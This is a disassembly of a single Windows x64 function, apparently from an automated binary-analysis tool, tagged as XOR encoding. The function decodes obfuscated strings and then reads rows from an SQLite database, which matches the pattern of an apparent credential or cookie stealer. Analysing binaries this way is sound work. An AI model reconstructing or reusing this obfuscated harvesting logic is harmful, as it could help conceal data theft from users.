Function at 0x140006a20
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
movaps xmmword [rsp + 0x210], xmm6
mov rax, qword [0x140090040]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov rsi, r8
mov qword [rsp + 0x70], rdx
mov rdi, rcx
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x70], r8
mov dword [rsp + 0x68], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rcx], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rax
mov r14d, 1
mov dword [rsp + 0x68], r14d
movups xmm0, xmmword [str.hqSQYLVO_uWL4.0:D]
movups xmmword [rbp - 0x28], xmm0
movzx eax, byte [0x1400814e0]
mov byte [rbp - 0x18], al
xor r8d, r8d
mov r12d, dword [0x140090090]
cmp r12d, 2
jl 0x140006bf5
movdqa xmm5, xmmword [0x140084890]
movdqa xmm4, xmmword [0x140084990]
movdqa xmm6, xmmword [0x1400848b0]
movdqa xmm0, xmmword [0x140084970]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006af0
cmp r8d, 0x11
jge 0x140006c30
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140006c00
lea r8, [rbp - 0x28]
mov rdx, rsi
lea rcx, [rbp - 0x48]
call fcn.1400051b0
nop
mov qword [rbp - 0x78], 0
movups xmm0, xmmword [str.gpzrm]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x1400814f8]
movups xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [0x140081508]
movups xmmword [rbp - 8], xmm0
mov eax, dword [0x140081518]
mov dword [rbp + 8], eax
movzx eax, word [0x14008151c]
mov word [rbp + 0xc], ax
movzx eax, byte [0x14008151e]
mov byte [rbp + 0xe], al
xor r8d, r8d
cmp r12d, 2
jl 0x140006dd5
movdqa xmm5, xmmword [0x140084890]
movdqa xmm4, xmmword [0x140084990]
movdqa xmm6, xmmword [0x1400848b0]
movdqa xmm0, xmmword [0x140084970]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140006cd0
cmp r8d, 0x37
jge 0x140006e10
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140006de0
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea rax, [rbp - 0x28]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006e30
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x68]
call fcn.1400055d0
nop
mov qword [rbp - 0x80], 0
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rcx, qword [rbp - 0x48]
lea rdx, [rbp - 0x78]
call qword [sym.imp.winsqlite3.dll_sqlite3_open]
test eax, eax
je 0x140006f8a
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140006eab
inc rdx
mov rcx, qword [rbp - 0x68]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140006ea6
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000759c
call fcn.1400491b0
movdqa xmm0, xmmword [0x140084880]
mov byte [rbp - 0x68], 0
movdqu xmmword [rbp - 0x58], xmm0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140006ef7
inc rdx
mov rcx, qword [rbp - 0x48]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140006ef2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007590
call fcn.1400491b0
movdqa xmm0, xmmword [0x140084880]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140006f42
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140006f3d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140007596
mov rcx, r8
call fcn.1400491b0
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], 0
mov rax, rdi
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.140049190
mov rbx, qword [rsp + 0x278]
movaps xmm6, xmmword [rsp + 0x210]
add rsp, 0x220
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
mov qword [rsp + 0x20], 0
lea r9, [rbp - 0x80]
mov r8d, 0xffffffff
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.winsqlite3.dll_sqlite3_prepare_v2]
test eax, eax
jne 0x140006e70
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.winsqlite3.dll_sqlite3_step]
cmp eax, 0x64
jne 0x1400074f3
xor edx, edx
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_text]
mov rbx, rax
mov edx, 1
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_text]
mov r15, rax
mov edx, 2
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.winsqlite3.dll_sqlite3_column_int]
mov r13d, eax
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x10]
call fcn.14006ec30
lea rcx, [rbp + 0x10]
call fcn.140004410
nop
mov ecx, dword [str.agz_r]
mov dword [rsp + 0x3c], ecx
movzx ecx, word [0x1400814c8]
mov word [rsp + 0x40], cx
mov byte [rsp + 0x3c], 0x55
xor byte [rsp + 0x3d], 0x35
xor byte [rsp + 0x3e], 0x36
xor byte [rsp + 0x3f], 0x37
xor cl, 0x38
mov byte [rsp + 0x40], cl
xor byte [rsp + 0x41], 0x39
lea rdx, [rsp + 0x3c]
lea rcx, [rbp + 0x10]
call fcn.140005320
mov rcx, rax
mov rdx, rbx
call fcn.140005320
movzx ecx, word [0x1400814c0]
mov word [rsp + 0x34], cx
cmp byte [0x1400814c1], 0
je 0x14000708c
mov byte [rsp + 0x34], 0xa
xor byte [rsp + 0x35], 0x35
lea rdx, [rsp + 0x34]
mov rcx, rax
call fcn.140005320
mov rax, qword [str._B__]
mov qword [rsp + 0x60], rax
cmp byte [0x1400814bf], 0
je 0x1400071f0
cmp r12d, 2
jl 0x1400071b8
movdqa xmm4, xmmword [0x140084990]
movdqa xmm2, xmmword [0x140084890]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400848b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
mov eax, dword [0x140084970]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x60]
xorps xmm2, xmm1
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x1400848a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400848b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
jmp 0x1400071f0
lea r9, [rsp + 0x60]
xor r8d, r8d
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400071c0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x10]
call fcn.140005320
mov rcx, rax
mov rdx, r15
call fcn.140005320
mov rcx, rax
movzx eax, word [0x1400814c0]
mov word [rsp + 0x30], ax
lea rdx, [rsp + 0x30]
cmp byte [0x1400814c1], 0
je 0x140007230
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x35
call fcn.140005320
mov eax, dword [0x1400814b0]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x1400814b4]
movsd xmm0, qword [str.xTEC]
mov byte [rsp + 0x5c], al
movsd qword [rsp + 0x50], xmm0
xor ecx, ecx
cmp r12d, 2
jl 0x140007365
movdqa xmm4, xmmword [0x140084990]
movdqa xmm2, xmmword [0x140084890]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400848b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
mov eax, dword [0x140084970]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.xTEC]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x1400848a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400848b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xd
jl 0x140007370
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.140005320
mov edx, r13d
mov rcx, rax
call fcn.140007840
movzx ecx, word [0x1400814c0]
mov word [rsp + 0x38], cx
cmp byte [0x1400814c1], 0
je 0x1400073d4
mov byte [rsp + 0x38], 0xa
xor byte [rsp + 0x39], 0x35
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.140005320
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x18]
call fcn.140004cd0
or r14d, 2
mov dword [rsp + 0x68], r14d
mov rax, qword [rdi + 8]
cmp rax, qword [rdi + 0x10]
je 0x140007414
lea rdx, [rbp - 0x28]
mov rcx, rax
call fcn.140004900
add qword [rdi + 8], 0x20
jmp 0x140007424
lea r8, [rbp - 0x28]
mov rdx, rax
mov rcx, rdi
call fcn.1400064c0
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x14000745f
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000745a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000758a
call fcn.1400491b0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x10], rax
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0xc], edx
lea rcx, [rbp + 0x18]
call fcn.1400043a0
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x10], rax
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x98], rax
lea rcx, [rbp + 0x98]
call fcn.140048370
nop
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.winsqlite3.dll_sqlite3_step]
cmp eax, 0x64
je 0x140006fd0
mov edx, 0x10
mov rcx, qword [rsp + 0x70]
call fcn.1400491b0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000753a
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007535
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000759c
call fcn.1400491b0
movdqa xmm0, xmmword [0x140084880]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140006ef7
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ef2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007590
jmp 0x140006ef2
call fcn.1400500ac
nop
call fcn.1400500ac
nop
call fcn.1400500ac
nop
call fcn.1400500ac
int3